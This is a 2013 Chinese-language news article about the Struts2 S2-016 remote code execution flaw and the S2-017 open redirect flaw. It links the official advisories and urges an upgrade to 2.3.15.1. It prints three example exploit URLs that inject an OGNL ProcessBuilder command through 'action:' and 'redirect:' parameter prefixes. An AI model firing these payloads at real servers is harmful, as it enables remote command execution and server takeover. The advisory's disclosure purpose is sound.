Struts2 兩大高危安全漏洞,網站安全再受考驗

葉威1發表於2013-07-22

近日,Struts2 被曝出兩個高危安全漏洞,影響的版本Struts 2.0.0 – Struts 2.3.15的 Struts2 全系版本,國內政府、金融、運營商及各大網際網路公司的網站已受影響。

一個是使用縮寫的導航引數字首時的遠端程式碼執行漏洞,另一個是使用縮寫的重定向引數字首時的開放式重定向漏洞。這些漏洞可使黑客取得網站伺服器的“最高許可權”,從而使企業伺服器變成黑客手中的“肉雞”。

Struts漏洞影響巨大,受影響站點以電商、銀行、門戶、政府居多,而且一些自動化、傻瓜化的利用工具開始出現,填入地址可直接執行伺服器命令,讀取資料甚至直接關機等操作。據烏雲平臺漏洞報告,淘寶、京東、騰訊等大型網際網路廠商均受此影響。

瞭解Struts:

Struts 是Apache軟體基金會(ASF)贊助的一個開源專案。它最初是Jakarta專案中的一個子專案,並在2004年3月成為ASF的頂級專案。它通過採用 JavaServlet/JSP 技術,實現了基於 Java EEWeb 應用的MVC設計模式的應用框架,是MVC經典設計模式中的一個經典產品。使用Struts的目的是為了幫助我們減少在運用MVC設計模型來開發Web應用的時間。

詳細介紹下 Struts2 的兩大安全漏洞:

1. 通過在引數前面加上“action:”/“redirect:”/“redirectAction:”字首,以實現遠端程式碼執行,如下:

1 http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
2  
3  
4 http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
5  
6  
7 http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

Struts2 遠端程式碼執行漏洞

Struts2 遠端程式碼執行漏洞

2. 通過在引數前面加上“redirect:”/“redirectAction:”字首,以實現開放式重定向,如下:

Struts2 開放式重定向漏洞

詳細漏洞資訊:

http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
http://struts.apache.org/release/2.3.x/docs/version-notes-23151.html

Struts2 官網:http://struts.apache.org/

為了網站和使用者的安全,儘快更新到Struts 2.3.15.1安全版本吧。

相關文章